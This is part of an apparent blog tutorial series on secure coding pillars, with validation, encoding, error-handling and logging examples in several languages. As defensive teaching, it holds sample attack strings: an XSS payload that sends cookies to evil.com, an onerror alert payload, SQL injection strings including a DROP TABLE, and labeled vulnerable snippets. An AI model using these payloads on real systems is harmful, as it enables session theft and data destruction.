Series Navigation
← Part 1: Introduction — Mindset, CIA Triad and Threat Landscape
→ Part 3: OWASP Top 10 Deep Dive
The Four Pillars of Secure Code
SECURE CODING PILLARS:
│
├── 1. INPUT VALIDATION Never trust data you didn't create
├── 2. OUTPUT ENCODING Escape before rendering/executing
├── 3. ERROR HANDLING Fail safely, never expose internals
└── 4. SECURE LOGGING Record what happened, not what users typed
Master these four and you eliminate the majority of injection, XSS, information disclosure, and logic vulnerabilities before they are introduced.
Pillar 1 — Input Validation
The rule: Every piece of data entering your application from outside is untrusted until validated. Outside means: HTTP request body, query params, headers, cookies, uploaded files, database results (if written by another service), environment variables, config files from external systems.
What to Validate
For every input field, validate:
├── Type — is it the right type? (string, int, email, UUID)
├── Length — min and max length?
├── Format — does it match expected pattern?
├── Range — is a number within allowed bounds?
├── Whitelist — is it from an allowed set of values?
└── Business — does it make sense in context?
Python — Using Pydantic for Validation
from pydantic import BaseModel, EmailStr, validator, constr, conint
from typing import Optional
import re
class UserRegistrationRequest(BaseModel):
username: constr(min_length=3, max_length=30, regex=r'^[a-zA-Z0-9_]+$')
email: EmailStr
age: conint(ge=18, le=120) # ge=greater-than-or-equal, le=less-than-or-equal
password: constr(min_length=12, max_length=128)
role: str
@validator('role')
def role_must_be_valid(cls, v):
allowed = {'user', 'viewer', 'editor'}
if v not in allowed:
raise ValueError(f'Role must be one of {allowed}')
return v
@validator('password')
def password_complexity(cls, v):
if not re.search(r'[A-Z]', v):
raise ValueError('Password must contain uppercase letter')
if not re.search(r'[a-z]', v):
raise ValueError('Password must contain lowercase letter')
if not re.search(r'\d', v):
raise ValueError('Password must contain a digit')
if not re.search(r'[!@#$%^&*]', v):
raise ValueError('Password must contain special character')
return v
# FastAPI usage — validation happens automatically
from fastapi import FastAPI, HTTPException
app = FastAPI()
@app.post('/register')
async def register(req: UserRegistrationRequest):
# If we reach here, all fields are validated
# Pydantic raises 422 automatically on invalid input
return {"message": "User created"}
Node.js — Using Joi or Zod
const Joi = require('joi');
const registrationSchema = Joi.object({
username: Joi.string()
.alphanum()
.min(3).max(30)
.required(),
email: Joi.string()
.email({ tlds: { allow: false } })
.required(),
age: Joi.number()
.integer()
.min(18).max(120)
.required(),
password: Joi.string()
.min(12).max(128)
.pattern(/[A-Z]/, 'uppercase')
.pattern(/[a-z]/, 'lowercase')
.pattern(/\d/, 'number')
.required(),
role: Joi.string()
.valid('user', 'viewer', 'editor')
.default('user')
});
app.post('/register', async (req, res) => {
const { error, value } = registrationSchema.validate(req.body, {
abortEarly: false, // return ALL errors, not just first
stripUnknown: true // remove unexpected fields
});
if (error) {
// Return generic error — don't echo back user input
return res.status(400).json({
error: 'Invalid request',
details: error.details.map(d => d.message)
});
}
// value is now safe and sanitised
await createUser(value);
res.status(201).json({ message: 'Created' });
});
Java — Bean Validation (JSR-380)
import javax.validation.constraints.*;
public class UserRegistrationRequest {
@NotBlank
@Size(min = 3, max = 30)
@Pattern(regexp = "^[a-zA-Z0-9_]+$", message = "Username can only contain letters, numbers, underscores")
private String username;
@NotBlank
@Email
private String email;
@Min(18) @Max(120)
private int age;
@NotBlank
@Size(min = 12, max = 128)
private String password;
// Custom validator for allowed values
@NotNull
private Role role; // Enum — Java validates automatically
}
// In Spring Boot controller
@PostMapping("/register")
public ResponseEntity<?> register(@Valid @RequestBody UserRegistrationRequest req,
BindingResult result) {
if (result.hasErrors()) {
List<String> errors = result.getFieldErrors()
.stream()
.map(e -> e.getField() + ": " + e.getDefaultMessage())
.collect(Collectors.toList());
return ResponseEntity.badRequest().body(Map.of("errors", errors));
}
// proceed safely
}
Whitelist vs Blacklist
# ❌ BLACKLIST approach — will always miss something
def is_safe_input(s):
bad_chars = ["'", '"', ';', '--', 'DROP', 'SELECT']
for bad in bad_chars:
if bad in s:
return False
return True # Attacker uses: %27, ', unicode equivalents...
# ✅ WHITELIST approach — only allow what you expect
import re
def validate_username(s: str) -> bool:
# Only allow alphanumeric and underscore, 3-30 chars
return bool(re.match(r'^[a-zA-Z0-9_]{3,30}$', s))
def validate_search_query(s: str) -> str:
# Strip everything except alphanumeric and spaces
return re.sub(r'[^a-zA-Z0-9 ]', '', s)[:100]
Pillar 2 — Output Encoding
The rule: Encode output based on WHERE it will be rendered. The context determines the encoding.
Output contexts and required encoding:
├── HTML body → HTML entity encoding (< > & ")
├── HTML attribute → attribute encoding (quote all attributes)
├── JavaScript → JavaScript escaping (\u003c \u003e)
├── CSS → CSS escaping
├── URL → URL encoding (%3C %3E)
└── SQL → Parameterised queries (NOT string encoding)
HTML Encoding — Prevent XSS
# ❌ Dangerous — raw user data in HTML
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/search')
def search():
query = request.args.get('q', '')
# If query = "<script>document.location='http://evil.com?c='+document.cookie</script>"
# This renders the script and steals cookies
return render_template_string(f"<p>Results for: {query}</p>")
# ✅ Safe — Jinja2 auto-escapes by default
from flask import render_template
@app.route('/search')
def search():
query = request.args.get('q', '')
return render_template('search.html', query=query)
# In template: {{ query }} — Jinja2 automatically HTML-encodes this
// ❌ Dangerous — setting innerHTML with user data
const username = getUserInput();
document.getElementById('greeting').innerHTML = 'Hello, ' + username;
// If username = '<img src=x onerror=alert(1)>' → XSS
// ✅ Safe — use textContent, never innerHTML with user data
document.getElementById('greeting').textContent = 'Hello, ' + username;
// ✅ If you must use HTML, encode first
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
document.getElementById('greeting').innerHTML = 'Hello, ' + escapeHtml(username);
SQL — Parameterised Queries (Not Encoding)
# ❌ SQL injection vulnerability
def get_user(username):
query = f"SELECT * FROM users WHERE username = '{username}'"
# username = "' OR '1'='1' --" → returns all users
# username = "'; DROP TABLE users; --" → deletes table
return db.execute(query)
# ✅ Parameterised query — NEVER buildSQL strings with user data
def get_user(username: str):
# The driver handles escaping — you never concatenate
return db.execute(
"SELECT * FROM users WHERE username = %s",
(username,)
)
# ✅ SQLAlchemy ORM — even safer
from sqlalchemy import select
def get_user(username: str):
stmt = select(User).where(User.username == username)
return session.execute(stmt).scalar_one_or_none()
// ❌ NEVER
String query = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);
// ✅ Always use PreparedStatement
String query = "SELECT * FROM users WHERE username = ?";
PreparedStatement stmt = conn.prepareStatement(query);
stmt.setString(1, username); // driver handles escaping
ResultSet rs = stmt.executeQuery();
Content Security Policy — Defence in Depth
Even with output encoding, add a CSP header as a second layer:
# Flask — add security headers
from flask import Flask
from flask_talisman import Talisman
app = Flask(__name__)
Talisman(app, content_security_policy={
'default-src': "'self'",
'script-src': ["'self'", 'cdn.jsdelivr.net'],
'style-src': ["'self'", "'unsafe-inline'"], # avoid unsafe-inline if possible
'img-src': ["'self'", 'data:', 'https:'],
'connect-src': "'self'",
'frame-ancestors': "'none'", # prevent clickjacking
'base-uri': "'self'",
'form-action': "'self'",
})
# nginx — add headers
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
Pillar 3 — Error Handling
The rule: Errors shown to users must be generic. Errors logged internally must be detailed.
# ❌ Exposes implementation details
@app.errorhandler(Exception)
def handle_error(e):
return jsonify({
"error": str(e), # reveals database schema, file paths, stack traces
"trace": traceback.format_exc() # attacker maps your internal architecture
}), 500
# ✅ Generic to user, detailed in logs
import logging
import uuid
logger = logging.getLogger(__name__)
@app.errorhandler(Exception)
def handle_error(e):
error_id = str(uuid.uuid4())[:8] # correlation ID
# Log full detail internally
logger.error(
f"[{error_id}] Unhandled exception: {e}",
exc_info=True, # includes stack trace in log
extra={'user_id': get_current_user_id()}
)
# Return generic message to user
return jsonify({
"error": "An unexpected error occurred",
"reference": error_id # user can give this to support
}), 500
// Express error handler
app.use((err, req, res, next) => {
const errorId = crypto.randomUUID().slice(0, 8);
// Log internally with full context
logger.error({
errorId,
message: err.message,
stack: err.stack,
url: req.url,
method: req.method,
userId: req.user?.id,
});
// Respond generically
const statusCode = err.statusCode || 500;
res.status(statusCode).json({
error: statusCode === 500 ? 'Internal server error' : err.message,
errorId,
});
});
Fail Closed — Not Open
# ❌ Fail open — denies error but grants access
def check_admin_permission(user_id):
try:
user = db.get_user(user_id)
return user.is_admin
except Exception:
return True # BUG: grants admin access on any error
# ✅ Fail closed — denies access on error
def check_admin_permission(user_id):
try:
user = db.get_user(user_id)
return user.is_admin
except Exception as e:
logger.error(f"Permission check failed for user {user_id}: {e}")
return False # Safe default: deny
Pillar 4 — Secure Logging
What to log:
✅ Log these:
├── Authentication events (login, logout, failed login)
├── Authorization failures (access denied)
├── Data modifications (create, update, delete)
├── Admin actions
├── Security events (account locked, password changed)
└── Application errors (with correlation ID)
❌ Never log these:
├── Passwords (in any form)
├── Full credit card numbers (PAN)
├── CVV / security codes
├── Social security numbers
├── Full API keys or tokens (log first/last 4 chars only)
├── Session tokens or JWT contents
└── Health/medical data
import logging
import re
class SecureFormatter(logging.Formatter):
"""Strips sensitive data from log messages"""
PATTERNS = [
(r'\bpassword[=:]\S+', 'password=[REDACTED]'),
(r'\b\d{16}\b', '[CARD-REDACTED]'), # 16-digit card numbers
(r'\b[A-Z0-9]{20,}\b', '[TOKEN-REDACTED]'), # Long uppercase strings (API keys)
(r'\b(?:\d{3}-\d{2}-\d{4})\b', '[SSN-REDACTED]'), # SSN
]
def format(self, record):
message = super().format(record)
for pattern, replacement in self.PATTERNS:
message = re.sub(pattern, replacement, message, flags=re.IGNORECASE)
return message
# Structured logging — machine-parseable for SIEM
import structlog
log = structlog.get_logger()
def login(username, password):
user = authenticate(username, password)
if user:
log.info("user.login.success",
user_id=user.id,
ip=request.remote_addr,
user_agent=request.user_agent.string)
else:
log.warning("user.login.failure",
username=username, # log username but NEVER password
ip=request.remote_addr,
reason="invalid_credentials")
The Secure Code Review Checklist
Use this on every PR:
INPUT VALIDATION
□ All inputs validated (type, length, format, range)
□ Whitelist approach used, not blacklist
□ File uploads checked (type, size, name, content)
□ No user input in shell commands, file paths, SQL
OUTPUT ENCODING
□ HTML output encoded (template engine auto-escape enabled)
□ No raw user data in innerHTML/dangerouslySetInnerHTML
□ Parameterised queries everywhere — no string concatenation for SQL
□ JSON responses use proper content-type header
ERROR HANDLING
□ No stack traces or internal paths in API responses
□ Generic user-facing messages
□ Errors logged with correlation IDs
□ Fail closed on errors (default deny)
AUTHENTICATION & AUTHORISATION
□ Every protected endpoint checks authentication
□ Every sensitive action checks authorisation
□ No security checks client-side only
□ Sensitive operations require re-authentication
LOGGING
□ Auth events logged (success AND failure)
□ No passwords, tokens, or PII in logs
□ Sufficient detail to reconstruct events
DEPENDENCIES
□ No known-vulnerable library versions
□ Dependencies pinned to exact versions
□ No unused dependencies
Interview Questions — Secure Coding
Q: What is the difference between authentication and authorisation?
Authentication verifies who you are (login, JWT validation). Authorisation verifies what you are allowed to do (can this user access this resource). They are separate concerns and must both be checked. A common bug is checking authentication but not authorisation — a logged-in user accesses another user's data.
Q: Why can't I just sanitise input to prevent SQL injection?
Sanitisation (blacklisting or escaping) will always miss edge cases — Unicode equivalents, double-encoding, database-specific escape sequences. The only reliable defence is parameterised queries / prepared statements, where user input is never interpreted as SQL code.
Q: What is the same-origin policy?
A browser security mechanism that prevents JavaScript on evil.com from reading responses from bank.com. CORS (Cross-Origin Resource Sharing) is the mechanism to explicitly allow cross-origin requests when needed.
What's Next
In Part 3 we go through every OWASP Top 10 vulnerability with a real attack scenario, vulnerable code, secure fix, and detection method. This is the post you'll reference most in interviews.
Discussion
Loading...Leave a Comment
All comments are reviewed before appearing. No links please.